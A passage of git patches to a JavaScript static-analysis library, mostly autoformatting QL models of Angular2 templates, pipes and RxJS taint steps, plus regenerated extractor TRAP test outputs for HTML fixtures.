( + el1 = el2 and ec1 > ec2 + or + el1 > el2 + ) + ) +select top, xml diff --git a/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/upgrade.properties b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/upgrade.properties new file mode 100644 index 00000000000..9519ac3a906 --- /dev/null +++ b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/upgrade.properties @@ -0,0 +1,4 @@ +description: add support for angular templates +compatibility: backwards + +toplevel_parent_xml_node.rel: run toplevel_parent_xml_node.qlo From 5f4016be76ec8acad03d0324c563f3be65b53180 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Wed, 13 Jan 2021 10:55:16 +0000 Subject: [PATCH 0665/1241] JS: Cache Import.getImportedModule --- javascript/ql/src/semmle/javascript/Modules.qll | 1 + 1 file changed, 1 insertion(+) diff --git a/javascript/ql/src/semmle/javascript/Modules.qll b/javascript/ql/src/semmle/javascript/Modules.qll index 96f0e41c6cd..068b3de8dca 100644 --- a/javascript/ql/src/semmle/javascript/Modules.qll +++ b/javascript/ql/src/semmle/javascript/Modules.qll @@ -236,6 +236,7 @@ abstract class Import extends ASTNode { * behavior of Node.js imports, which prefer core modules such as `fs` over any * source module of the same name. */ + cached Module getImportedModule() { if exists(resolveExternsImport()) then result = resolveExternsImport() From d8c9dba99007d8475a55bfe67778f2e43be99203 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 14 Jan 2021 16:12:32 +0000 Subject: [PATCH 0666/1241] JS: Autoformat --- javascript/ql/src/DOM/TargetBlank.ql | 5 +- javascript/ql/src/semmle/javascript/AST.qll | 6 +- javascript/ql/src/semmle/javascript/HTML.qll | 8 +- .../semmle/javascript/dataflow/DataFlow.qll | 4 +- .../src/semmle/javascript/dataflow/Nodes.qll | 4 +- .../semmle/javascript/frameworks/Angular2.qll | 117 ++++++++---------- .../src/semmle/javascript/frameworks/RxJS.qll | 9 +- 7 files changed, 68 insertions(+), 85 deletions(-) diff --git a/javascript/ql/src/DOM/TargetBlank.ql b/javascript/ql/src/DOM/TargetBlank.ql index cf6b7969d3d..82885c1d63c 100644 --- a/javascript/ql/src/DOM/TargetBlank.ql +++ b/javascript/ql/src/DOM/TargetBlank.ql @@ -20,7 +20,10 @@ import semmle.javascript.RestrictedLocations * Holds if the `rel` attribute may be injected by an Angular2 directive. */ predicate maybeInjectedByAngular() { - DataFlow::moduleMember("@angular/core", "HostBinding").getACall().getArgument(0).mayHaveStringValue("attr.rel") + DataFlow::moduleMember("@angular/core", "HostBinding") + .getACall() + .getArgument(0) + .mayHaveStringValue("attr.rel") } /** diff --git a/javascript/ql/src/semmle/javascript/AST.qll b/javascript/ql/src/semmle/javascript/AST.qll index 157aa30015f..6fbabe89d66 100644 --- a/javascript/ql/src/semmle/javascript/AST.qll +++ b/javascript/ql/src/semmle/javascript/AST.qll @@ -300,7 +300,11 @@ class InlineScript extends @inline_script, Script { } * ``` */ class CodeInAttribute extends TopLevel { - CodeInAttribute() { this instanceof @event_handler or this instanceof @javascript_url or this instanceof @angular_template_toplevel } + CodeInAttribute() { + this instanceof @event_handler or + this instanceof @javascript_url or + this instanceof @angular_template_toplevel + } } /** diff --git a/javascript/ql/src/semmle/javascript/HTML.qll b/javascript/ql/src/semmle/javascript/HTML.qll index c92e89d1baf..53db9b4341f 100644 --- a/javascript/ql/src/semmle/javascript/HTML.qll +++ b/javascript/ql/src/semmle/javascript/HTML.qll @@ -29,9 +29,7 @@ module HTML { } /** Gets `i`th root node of the HTML fragment embedded in the given expression, if any. */ - Element getHtmlElementFromExpr(Expr e, int i) { - xml_element_parent_expression(result, e, i) - } + Element getHtmlElementFromExpr(Expr e, int i) { xml_element_parent_expression(result, e, i) } /** * An HTML element. @@ -127,9 +125,7 @@ module HTML { /** * Gets the inline script of this attribute, if any. */ - CodeInAttribute getCodeInAttribute() { - toplevel_parent_xml_node(result, this) - } + CodeInAttribute getCodeInAttribute() { toplevel_parent_xml_node(result, this) } /** * Gets the element to which this attribute belongs. diff --git a/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll b/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll index 605eb6c4317..a2b2d2deb66 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll @@ -1320,9 +1320,7 @@ module DataFlow { * Certain framework models may need this node to model the behavior of * class and field decorators. */ - DataFlow::Node fieldDeclarationNode(FieldDeclaration field) { - result = TPropNode(field) - } + DataFlow::Node fieldDeclarationNode(FieldDeclaration field) { result = TPropNode(field) } /** * Gets the data flow node corresponding the given l-value expression, if diff --git a/javascript/ql/src/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/src/semmle/javascript/dataflow/Nodes.qll index 29aa358b72d..4b5744d2453 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/Nodes.qll @@ -1011,9 +1011,7 @@ class ClassNode extends DataFlow::SourceNode { /** * Gets a decorator applied to this class. */ - DataFlow::Node getADecorator() { - result = impl.getADecorator() - } + DataFlow::Node getADecorator() { result = impl.getADecorator() } } module ClassNode { diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index aee4f97cb7d..3f33a07ce3d 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -233,16 +233,12 @@ module Angular2 { */ class PipeRefExpr extends Expr, @angular_pipe_ref { /** Gets the identifier node naming the pipe. */ - Identifier getIdentifier() { - result = getChildExpr(0) - } + Identifier getIdentifier() { result = getChildExpr(0) } /** Gets the name of the pipe being referenced. */ string getName() { result = getIdentifier().getName() } - override string getAPrimaryQlClass() { - result = "Angular2::PipeRefExpr" - } + override string getAPrimaryQlClass() { result = "Angular2::PipeRefExpr" } } /** @@ -252,14 +248,10 @@ module Angular2 { * `f` is a `PipeRefExpr` and the call itself is a `PipeCallExpr`. */ class PipeCallExpr extends CallExpr { - PipeCallExpr() { - getCallee() instanceof PipeRefExpr - } + PipeCallExpr() { getCallee() instanceof PipeRefExpr } /** Gets the name of the pipe being invoked, such as `f` in `x | f`. */ - string getPipeName() { - result = getCallee().(PipeRefExpr).getName() - } + string getPipeName() { result = getCallee().(PipeRefExpr).getName() } } /** @@ -267,17 +259,13 @@ module Angular2 { * to a property on the component class. */ class TemplateVarRefExpr extends Expr { - TemplateVarRefExpr() { - this = any(TemplateTopLevel tl).getScope().getAVariable().getAnAccess() - } + TemplateVarRefExpr() { this = any(TemplateTopLevel tl).getScope().getAVariable().getAnAccess() } } /** The top-level containing an Angular expression. */ class TemplateTopLevel extends TopLevel, @angular_template_toplevel { /** Gets the expression in this top-level. */ - Expr getExpression() { - result = getChildStmt(0).(ExprStmt).getExpr() - } + Expr getExpression() { result = getChildStmt(0).(ExprStmt).getExpr() } /** Gets the data flow node representing the initialization of the given variable in this scope. */ DataFlow::Node getVariableInit(string name) { @@ -299,9 +287,7 @@ module Angular2 { ) } - override string getValue() { - result = this.(Expr).getStringValue() - } + override string getValue() { result = this.(Expr).getStringValue() } } /** @@ -365,18 +351,15 @@ module Angular2 { /** * Gets the `selector` property of the `@Component` decorator. */ - string getSelector() { - decorator.getOptionArgument(0, "selector").mayHaveStringValue(result) - } + string getSelector() { decorator.getOptionArgument(0, "selector").mayHaveStringValue(result) } /** Gets an HTML element that instantiates this component. */ - HTML::Element getATemplateInstantiation() { - result.getName() = getSelector() - } + HTML::Element getATemplateInstantiation() { result.getName() = getSelector() } /** Gets an argument that flows into the `name` field of this component. */ DataFlow::Node getATemplateArgument(string name) { - result = getAttributeValueAsNode(getATemplateInstantiation().getAttributeByName("[" + name + "]")) + result = + getAttributeValueAsNode(getATemplateInstantiation().getAttributeByName("[" + name + "]")) } /** @@ -393,14 +376,20 @@ module Angular2 { HTML::Element getATemplateElement() { result.getFile() = getTemplateFile() or - result.getParent*() = HTML::getHtmlElementFromExpr(decorator.getOptionArgument(0, "template").asExpr(), _) + result.getParent*() = + HTML::getHtmlElementFromExpr(decorator.getOptionArgument(0, "template").asExpr(), _) } /** * Gets an access to the given template variable within the template body of this component. */ DataFlow::SourceNode getATemplateVarAccess(string name) { - result = getATemplateElement().getAnAttribute().getCodeInAttribute().(TemplateTopLevel).getAVariableUse(name) + result = + getATemplateElement() + .getAnAttribute() + .getCodeInAttribute() + .(TemplateTopLevel) + .getAVariableUse(name) } } @@ -414,14 +403,10 @@ module Angular2 { } /** Gets the value of the `name` option passed to the `@Pipe` decorator. */ - string getPipeName() { - decorator.getOptionArgument(0, "name").mayHaveStringValue(result) - } + string getPipeName() { decorator.getOptionArgument(0, "name").mayHaveStringValue(result) } /** Gets a reference to this pipe. */ - DataFlow::Node getAPipeRef() { - result.asExpr().(PipeRefExpr).getName() = getPipeName() - } + DataFlow::Node getAPipeRef() { result.asExpr().(PipeRefExpr).getName() = getPipeName() } } private class ComponentSteps extends PreCallGraphStep { @@ -464,28 +449,25 @@ module Angular2 { * attribute. There is no AST node for the implied for-of loop. */ private class ForLoopAttribute extends HTML::Attribute { - ForLoopAttribute() { - getName() = "*ngFor" - } + ForLoopAttribute() { getName() = "*ngFor" } /** Gets a data-flow node holding the value being iterated over. */ - DataFlow::Node getIterationDomain() { - result = getAttributeValueAsNode(this) - } + DataFlow::Node getIterationDomain() { result = getAttributeValueAsNode(this) } /** Gets the name of the variable holding the element of the current iteration. */ - string getIteratorName() { - result = getValue().regexpCapture(" *let +(\\w+).*", 1) - } + string getIteratorName() { result = getValue().regexpCapture(" *let +(\\w+).*", 1) } /** Gets an HTML element in which the iterator variable is in scope. */ - HTML::Element getAnElementInScope() { - result.getParent*() = getElement() - } + HTML::Element getAnElementInScope() { result.getParent*() = getElement() } /** Gets a reference to the iterator variable. */ DataFlow::Node getAnIteratorAccess() { - result = getAnElementInScope().getAnAttribute().getCodeInAttribute().(TemplateTopLevel).getAVariableUse(getIteratorName()) + result = + getAnElementInScope() + .getAnAttribute() + .getCodeInAttribute() + .(TemplateTopLevel) + .getAVariableUse(getIteratorName()) } } @@ -496,9 +478,7 @@ module Angular2 { private class ForLoopStep extends TaintTracking::AdditionalTaintStep { ForLoopAttribute attrib; - ForLoopStep() { - this = attrib.getIterationDomain() - } + ForLoopStep() { this = attrib.getIterationDomain() } override predicate step(DataFlow::Node pred, DataFlow::Node succ) { pred = this and @@ -528,14 +508,17 @@ module Angular2 { private class BuiltinPipeStep extends TaintTracking::AdditionalTaintStep, DataFlow::CallNode { string name; - BuiltinPipeStep() { - this = getAPipeCall(name) - } + BuiltinPipeStep() { this = getAPipeCall(name) } override predicate step(DataFlow::Node pred, DataFlow::Node succ) { succ = this and exists(int i | pred = getArgument(i) | - i = 0 and name = ["async", "i18nPlural", "json", "keyvalue", "lowercase", "uppercase", "titlecase", "slice"] + i = 0 and + name = + [ + "async", "i18nPlural", "json", "keyvalue", "lowercase", "uppercase", "titlecase", + "slice" + ] or i = 1 and name = "date" // date format string ) @@ -551,9 +534,7 @@ module Angular2 { * A `<mat-table>` element. */ class MatTableElement extends HTML::Element { - MatTableElement() { - getName() = "mat-table" - } + MatTableElement() { getName() = "mat-table" } /** Gets the data flow node corresponding to the `[dataSource]` attribute. */ DataFlow::Node getDataSourceNode() { @@ -566,13 +547,20 @@ module Angular2 { HTML::Element getATableCell(string rowBinding) { result.getName() = "mat-cell" and result.getParent+() = this and - rowBinding = result.getAttributeByName("*matCellDef").getValue().regexpCapture(" *let +(\\w+).*", 1) + rowBinding = + result.getAttributeByName("*matCellDef").getValue().regexpCapture(" *let +(\\w+).*", 1) } /** Gets a data flow node that refers to one of the rows from the data source. */ DataFlow::Node getARowRef() { exists(string rowBinding | - result = getATableCell(rowBinding).getChild*().getAnAttribute().getCodeInAttribute().(TemplateTopLevel).getAVariableUse(rowBinding) + result = + getATableCell(rowBinding) + .getChild*() + .getAnAttribute() + .getCodeInAttribute() + .(TemplateTopLevel) + .getAVariableUse(rowBinding) ) } } @@ -590,9 +578,7 @@ module Angular2 { private class MatTableTaintStep extends TaintTracking::AdditionalTaintStep { MatTableElement table; - MatTableTaintStep() { - this = table.getDataSourceNode() - } + MatTableTaintStep() { this = table.getDataSourceNode() } override predicate step(DataFlow::Node pred, DataFlow::Node succ) { pred = this and @@ -614,7 +600,8 @@ module Angular2 { /** A taint step into the data array of a `MatTableDataSource` instance. */ private class MatTableDataSourceStep extends TaintTracking::AdditionalTaintStep, DataFlow::NewNode { MatTableDataSourceStep() { - this = DataFlow::moduleMember("@angular/material/table", "MatTableDataSource").getAnInstantiation() + this = + DataFlow::moduleMember("@angular/material/table", "MatTableDataSource").getAnInstantiation() } override predicate step(DataFlow::Node pred, DataFlow::Node succ) { diff --git a/javascript/ql/src/semmle/javascript/frameworks/RxJS.qll b/javascript/ql/src/semmle/javascript/frameworks/RxJS.qll index ba09f7d087e..0016c05c41c 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/RxJS.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/RxJS.qll @@ -1,15 +1,14 @@ /** * Provides taint steps modeling flow through `rxjs` Observable objects. */ + private import javascript /** * A step `x -> y` in `x.subscribe(y => ...)`, modeling flow out of an rxjs Observable. */ private class RxJsSubscribeStep extends TaintTracking::AdditionalTaintStep, DataFlow::MethodCallNode { - RxJsSubscribeStep() { - getMethodName() = "subscribe" - } + RxJsSubscribeStep() { getMethodName() = "subscribe" } override predicate step(DataFlow::Node pred, DataFlow::Node succ) { pred = getReceiver() and @@ -50,9 +49,7 @@ private predicate isIdentityPipe(DataFlow::CallNode pipe) { * A step in or out of the map callback in a call of form `x.pipe(map(y => ...))`. */ private class RxJsPipeMapStep extends TaintTracking::AdditionalTaintStep, DataFlow::MethodCallNode { - RxJsPipeMapStep() { - getMethodName() = "pipe" - } + RxJsPipeMapStep() { getMethodName() = "pipe" } override predicate step(DataFlow::Node pred, DataFlow::Node succ) { pred = getReceiver() and From 2a7b4487f123d277f57eab1d3bc733e4b0e5f763 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 15 Jan 2021 08:53:13 +0000 Subject: [PATCH 0667/1241] JS: More auto format --- .../library-tests/frameworks/Angular2/test.ql | 16 ++++------------ .../toplevel_parent_xml_node.ql | 4 +--- 2 files changed, 5 insertions(+), 15 deletions(-) diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.ql b/javascript/ql/test/library-tests/frameworks/Angular2/test.ql index da318e08d29..ba3b30649f0 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.ql +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.ql @@ -3,9 +3,7 @@ private import semmle.javascript.security.dataflow.Xss query Angular2::PipeRefExpr pipeRef() { any() } -query CallExpr pipeCall() { - result.getCallee() instanceof Angular2::PipeRefExpr -} +query CallExpr pipeCall() { result.getCallee() instanceof Angular2::PipeRefExpr } query CallExpr pipeCallArg(int i, Expr arg) { result.getCallee() instanceof Angular2::PipeRefExpr and @@ -14,22 +12,16 @@ query CallExpr pipeCallArg(int i, Expr arg) { query Angular2::PipeClass pipeClass() { any() } -query DataFlow::Node pipeClassRef(Angular2::PipeClass cls) { - result = cls.getAPipeRef() -} +query DataFlow::Node pipeClassRef(Angular2::PipeClass cls) { result = cls.getAPipeRef() } class TaintConfig extends TaintTracking::Configuration { - TaintConfig() { - this = "TaintConfig" - } + TaintConfig() { this = "TaintConfig" } override predicate isSource(DataFlow::Node source) { source.(DataFlow::CallNode).getCalleeName() = "source" } - override predicate isSink(DataFlow::Node sink) { - sink instanceof DomBasedXss::Sink - } + override predicate isSink(DataFlow::Node sink) { sink instanceof DomBasedXss::Sink } } query predicate taintFlow(DataFlow::Node source, DataFlow::Node sink) { diff --git a/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql index da9c88f5bb9..d8de8b32916 100644 --- a/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql +++ b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql @@ -8,9 +8,7 @@ class XmlNode extends @xmllocatable { // Based on previous implementation on HTMLNode.getCodeInAttribute and getInlineScript from - TopLevel top, XmlNode xml, - @file f, - @location l1, int sl1, int sc1, int el1, int ec1, + TopLevel top, XmlNode xml, @file f, @location l1, int sl1, int sc1, int el1, int ec1, @location l2, int sl2, int sc2, int el2, int ec2 where xmllocations(xml, l1) and From bb6bd9168ef0b1bb42c72543b39d56d5c71076ac Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 15 Jan 2021 11:13:36 +0000 Subject: [PATCH 0668/1241] JS: Update HTML TRAP tests output --- .../tests/html/output/trap/entities.html.trap | 37 +- .../tests/html/output/trap/module.html.trap | 39 +- .../tests/html/output/trap/tst.html.trap | 599 +++++++++--------- .../tests/html/output/trap/tst.xhtml.trap | 49 +- .../tests/html/output/trap/tst2.html.trap | 516 +++++++-------- .../output/trap/component.js.trap | 374 +++++------ .../tests/node/output/trap/tst.html.trap | 37 +- .../tests/shebang/output/trap/tst.html.trap | 35 +- 8 files changed, 852 insertions(+), 834 deletions(-) diff --git a/javascript/extractor/tests/html/output/trap/entities.html.trap b/javascript/extractor/tests/html/output/trap/entities.html.trap index 5d71d6b6620..66c12b952a4 100644 --- a/javascript/extractor/tests/html/output/trap/entities.html.trap +++ b/javascript/extractor/tests/html/output/trap/entities.html.trap @@ -117,27 +117,28 @@ successor(#20024,#20021) successor(#20021,#20033) successor(#20031,#20020) #20034=* -xmlElements(#20034,"html",#10000,0,#10000) -#20035=@"loc,{#10000},1,1,8,7" -locations_default(#20035,#10000,1,1,8,7) -xmllocations(#20034,#20035) -#20036=* -xmlElements(#20036,"body",#20034,1,#10000) -#20037=@"loc,{#10000},5,5,7,11" -locations_default(#20037,#10000,5,5,7,11) -xmllocations(#20036,#20037) -#20038=* -xmlElements(#20038,"a",#20036,0,#10000) -#20039=@"loc,{#10000},6,9,6,80" -locations_default(#20039,#10000,6,9,6,80) -xmllocations(#20038,#20039) -#20040=* -xmlAttrs(#20040,#20038,"href","javascript:void(alert(""Nope!""))",0,#10000) +toplevel_parent_xml_node(#20001,#20034) +#20035=* +xmlElements(#20035,"html",#10000,0,#10000) +#20036=@"loc,{#10000},1,1,8,7" +locations_default(#20036,#10000,1,1,8,7) +xmllocations(#20035,#20036) +#20037=* +xmlElements(#20037,"body",#20035,1,#10000) +#20038=@"loc,{#10000},5,5,7,11" +locations_default(#20038,#10000,5,5,7,11) +xmllocations(#20037,#20038) +#20039=* +xmlElements(#20039,"a",#20037,0,#10000) +#20040=@"loc,{#10000},6,9,6,80" +locations_default(#20040,#10000,6,9,6,80) +xmllocations(#20039,#20040) +xmlAttrs(#20034,#20039,"href","javascript:void(alert(""Nope!""))",0,#10000) #20041=@"loc,{#10000},6,12,6,65" locations_default(#20041,#10000,6,12,6,65) -xmllocations(#20040,#20041) +xmllocations(#20034,#20041) #20042=* -xmlElements(#20042,"head",#20034,0,#10000) +xmlElements(#20042,"head",#20035,0,#10000) #20043=@"loc,{#10000},2,5,4,11" locations_default(#20043,#10000,2,5,4,11) xmllocations(#20042,#20043) diff --git a/javascript/extractor/tests/html/output/trap/module.html.trap b/javascript/extractor/tests/html/output/trap/module.html.trap index 2d23b4905b1..3932e850cbd 100644 --- a/javascript/extractor/tests/html/output/trap/module.html.trap +++ b/javascript/extractor/tests/html/output/trap/module.html.trap @@ -194,32 +194,33 @@ successor(#20039,#20046) successor(#20044,#20039) successor(#20054,#20044) #20056=* -xmlElements(#20056,"html",#10000,0,#10000) -#20057=@"loc,{#10000},1,1,11,7" -locations_default(#20057,#10000,1,1,11,7) -xmllocations(#20056,#20057) -#20058=* -xmlElements(#20058,"body",#20056,1,#10000) -#20059=@"loc,{#10000},9,5,10,11" -locations_default(#20059,#10000,9,5,10,11) -xmllocations(#20058,#20059) -#20060=* -xmlElements(#20060,"head",#20056,0,#10000) -#20061=@"loc,{#10000},2,5,8,11" -locations_default(#20061,#10000,2,5,8,11) -xmllocations(#20060,#20061) -#20062=* -xmlElements(#20062,"script",#20060,1,#10000) +toplevel_parent_xml_node(#20001,#20056) +#20057=* +xmlElements(#20057,"html",#10000,0,#10000) +#20058=@"loc,{#10000},1,1,11,7" +locations_default(#20058,#10000,1,1,11,7) +xmllocations(#20057,#20058) +#20059=* +xmlElements(#20059,"body",#20057,1,#10000) +#20060=@"loc,{#10000},9,5,10,11" +locations_default(#20060,#10000,9,5,10,11) +xmllocations(#20059,#20060) +#20061=* +xmlElements(#20061,"head",#20057,0,#10000) +#20062=@"loc,{#10000},2,5,8,11" +locations_default(#20062,#10000,2,5,8,11) +xmllocations(#20061,#20062) +xmlElements(#20056,"script",#20061,1,#10000) #20063=@"loc,{#10000},4,9,7,17" locations_default(#20063,#10000,4,9,7,17) -xmllocations(#20062,#20063) +xmllocations(#20056,#20063) #20064=* -xmlAttrs(#20064,#20062,"type","module",0,#10000) +xmlAttrs(#20064,#20056,"type","module",0,#10000) #20065=@"loc,{#10000},4,17,4,29" locations_default(#20065,#10000,4,17,4,29) xmllocations(#20064,#20065) #20066=* -xmlElements(#20066,"title",#20060,0,#10000) +xmlElements(#20066,"title",#20061,0,#10000) #20067=@"loc,{#10000},3,9,3,32" locations_default(#20067,#10000,3,9,3,32) xmllocations(#20066,#20067) diff --git a/javascript/extractor/tests/html/output/trap/tst.html.trap b/javascript/extractor/tests/html/output/trap/tst.html.trap index b59a8233991..73ea3e0382f 100644 --- a/javascript/extractor/tests/html/output/trap/tst.html.trap +++ b/javascript/extractor/tests/html/output/trap/tst.html.trap @@ -107,355 +107,360 @@ successor(#20027,#20023) successor(#20025,#20027) successor(#20023,#20031) successor(#20030,#20021) -#20032=@"script;{#10000},8,17" -#20033=* -lines(#20033,#20032,";","") -#20034=@"loc,{#10000},8,17,8,17" -locations_default(#20034,#10000,8,17,8,17) -hasLocation(#20033,#20034) -numlines(#20032,1,1,0) -#20035=* -tokeninfo(#20035,8,#20032,0,";") -hasLocation(#20035,#20034) +#20032=* +toplevel_parent_xml_node(#20001,#20032) +#20033=@"script;{#10000},8,17" +#20034=* +lines(#20034,#20033,";","") +#20035=@"loc,{#10000},8,17,8,17" +locations_default(#20035,#10000,8,17,8,17) +hasLocation(#20034,#20035) +numlines(#20033,1,1,0) #20036=* -tokeninfo(#20036,0,#20032,1,"") -#20037=@"loc,{#10000},8,18,8,17" -locations_default(#20037,#10000,8,18,8,17) -hasLocation(#20036,#20037) -toplevels(#20032,1) -hasLocation(#20032,#20034) -#20038=* -stmts(#20038,0,#20032,0,";") -hasLocation(#20038,#20034) -stmt_containers(#20038,#20032) +tokeninfo(#20036,8,#20033,0,";") +hasLocation(#20036,#20035) +#20037=* +tokeninfo(#20037,0,#20033,1,"") +#20038=@"loc,{#10000},8,18,8,17" +locations_default(#20038,#10000,8,18,8,17) +hasLocation(#20037,#20038) +toplevels(#20033,1) +hasLocation(#20033,#20035) #20039=* -entry_cfg_node(#20039,#20032) -#20040=@"loc,{#10000},8,17,8,16" -locations_default(#20040,#10000,8,17,8,16) -hasLocation(#20039,#20040) -#20041=* -exit_cfg_node(#20041,#20032) -hasLocation(#20041,#20037) -successor(#20038,#20041) -successor(#20039,#20038) -#20042=@"script;{#10000},11,29" +stmts(#20039,0,#20033,0,";") +hasLocation(#20039,#20035) +stmt_containers(#20039,#20033) +#20040=* +entry_cfg_node(#20040,#20033) +#20041=@"loc,{#10000},8,17,8,16" +locations_default(#20041,#10000,8,17,8,16) +hasLocation(#20040,#20041) +#20042=* +exit_cfg_node(#20042,#20033) +hasLocation(#20042,#20038) +successor(#20039,#20042) +successor(#20040,#20039) #20043=* -lines(#20043,#20042,"void(alert('Nope!'))","") -#20044=@"loc,{#10000},11,29,11,48" -locations_default(#20044,#10000,11,29,11,48) -hasLocation(#20043,#20044) -numlines(#20042,1,1,0) +toplevel_parent_xml_node(#20033,#20043) +#20044=@"script;{#10000},11,29" #20045=* -tokeninfo(#20045,7,#20042,0,"void") -#20046=@"loc,{#10000},11,29,11,32" -locations_default(#20046,#10000,11,29,11,32) +lines(#20045,#20044,"void(alert('Nope!'))","") +#20046=@"loc,{#10000},11,29,11,48" +locations_default(#20046,#10000,11,29,11,48) hasLocation(#20045,#20046) +numlines(#20044,1,1,0) #20047=* -tokeninfo(#20047,8,#20042,1,"(") -#20048=@"loc,{#10000},11,33,11,33" -locations_default(#20048,#10000,11,33,11,33) +tokeninfo(#20047,7,#20044,0,"void") +#20048=@"loc,{#10000},11,29,11,32" +locations_default(#20048,#10000,11,29,11,32) hasLocation(#20047,#20048) #20049=* -tokeninfo(#20049,6,#20042,2,"alert") -#20050=@"loc,{#10000},11,34,11,38" -locations_default(#20050,#10000,11,34,11,38) +tokeninfo(#20049,8,#20044,1,"(") +#20050=@"loc,{#10000},11,33,11,33" +locations_default(#20050,#10000,11,33,11,33) hasLocation(#20049,#20050) #20051=* -tokeninfo(#20051,8,#20042,3,"(") -#20052=@"loc,{#10000},11,39,11,39" -locations_default(#20052,#10000,11,39,11,39) +tokeninfo(#20051,6,#20044,2,"alert") +#20052=@"loc,{#10000},11,34,11,38" +locations_default(#20052,#10000,11,34,11,38) hasLocation(#20051,#20052) #20053=* -tokeninfo(#20053,4,#20042,4,"'Nope!'") -#20054=@"loc,{#10000},11,40,11,46" -locations_default(#20054,#10000,11,40,11,46) +tokeninfo(#20053,8,#20044,3,"(") +#20054=@"loc,{#10000},11,39,11,39" +locations_default(#20054,#10000,11,39,11,39) hasLocation(#20053,#20054) #20055=* -tokeninfo(#20055,8,#20042,5,")") -#20056=@"loc,{#10000},11,47,11,47" -locations_default(#20056,#10000,11,47,11,47) +tokeninfo(#20055,4,#20044,4,"'Nope!'") +#20056=@"loc,{#10000},11,40,11,46" +locations_default(#20056,#10000,11,40,11,46) hasLocation(#20055,#20056) #20057=* -tokeninfo(#20057,8,#20042,6,")") -#20058=@"loc,{#10000},11,48,11,48" -locations_default(#20058,#10000,11,48,11,48) +tokeninfo(#20057,8,#20044,5,")") +#20058=@"loc,{#10000},11,47,11,47" +locations_default(#20058,#10000,11,47,11,47) hasLocation(#20057,#20058) #20059=* -tokeninfo(#20059,0,#20042,7,"") -#20060=@"loc,{#10000},11,49,11,48" -locations_default(#20060,#10000,11,49,11,48) +tokeninfo(#20059,8,#20044,6,")") +#20060=@"loc,{#10000},11,48,11,48" +locations_default(#20060,#10000,11,48,11,48) hasLocation(#20059,#20060) -toplevels(#20042,3) -hasLocation(#20042,#20044) #20061=* -stmts(#20061,2,#20042,0,"void(alert('Nope!'))") -hasLocation(#20061,#20044) -stmt_containers(#20061,#20042) -#20062=* -exprs(#20062,21,#20061,0,"void(alert('Nope!'))") -hasLocation(#20062,#20044) -enclosing_stmt(#20062,#20061) -expr_containers(#20062,#20042) +tokeninfo(#20061,0,#20044,7,"") +#20062=@"loc,{#10000},11,49,11,48" +locations_default(#20062,#10000,11,49,11,48) +hasLocation(#20061,#20062) +toplevels(#20044,3) +hasLocation(#20044,#20046) #20063=* -exprs(#20063,63,#20062,0,"(alert('Nope!'))") -#20064=@"loc,{#10000},11,33,11,48" -locations_default(#20064,#10000,11,33,11,48) -hasLocation(#20063,#20064) -enclosing_stmt(#20063,#20061) -expr_containers(#20063,#20042) +stmts(#20063,2,#20044,0,"void(alert('Nope!'))") +hasLocation(#20063,#20046) +stmt_containers(#20063,#20044) +#20064=* +exprs(#20064,21,#20063,0,"void(alert('Nope!'))") +hasLocation(#20064,#20046) +enclosing_stmt(#20064,#20063) +expr_containers(#20064,#20044) #20065=* -exprs(#20065,13,#20063,0,"alert('Nope!')") -#20066=@"loc,{#10000},11,34,11,47" -locations_default(#20066,#10000,11,34,11,47) +exprs(#20065,63,#20064,0,"(alert('Nope!'))") +#20066=@"loc,{#10000},11,33,11,48" +locations_default(#20066,#10000,11,33,11,48) hasLocation(#20065,#20066) -enclosing_stmt(#20065,#20061) -expr_containers(#20065,#20042) +enclosing_stmt(#20065,#20063) +expr_containers(#20065,#20044) #20067=* -exprs(#20067,79,#20065,-1,"alert") -hasLocation(#20067,#20050) -enclosing_stmt(#20067,#20061) -expr_containers(#20067,#20042) -literals("alert","alert",#20067) -bind(#20067,#20026) -#20068=* -exprs(#20068,4,#20065,0,"'Nope!'") -hasLocation(#20068,#20054) -enclosing_stmt(#20068,#20061) -expr_containers(#20068,#20042) -literals("Nope!","'Nope!'",#20068) +exprs(#20067,13,#20065,0,"alert('Nope!')") +#20068=@"loc,{#10000},11,34,11,47" +locations_default(#20068,#10000,11,34,11,47) +hasLocation(#20067,#20068) +enclosing_stmt(#20067,#20063) +expr_containers(#20067,#20044) #20069=* -regexpterm(#20069,14,#20068,0,"Nope!") -#20070=@"loc,{#10000},11,41,11,45" -locations_default(#20070,#10000,11,41,11,45) -hasLocation(#20069,#20070) -regexp_const_value(#20069,"Nope!") +exprs(#20069,79,#20067,-1,"alert") +hasLocation(#20069,#20052) +enclosing_stmt(#20069,#20063) +expr_containers(#20069,#20044) +literals("alert","alert",#20069) +bind(#20069,#20026) +#20070=* +exprs(#20070,4,#20067,0,"'Nope!'") +hasLocation(#20070,#20056) +enclosing_stmt(#20070,#20063) +expr_containers(#20070,#20044) +literals("Nope!","'Nope!'",#20070) #20071=* 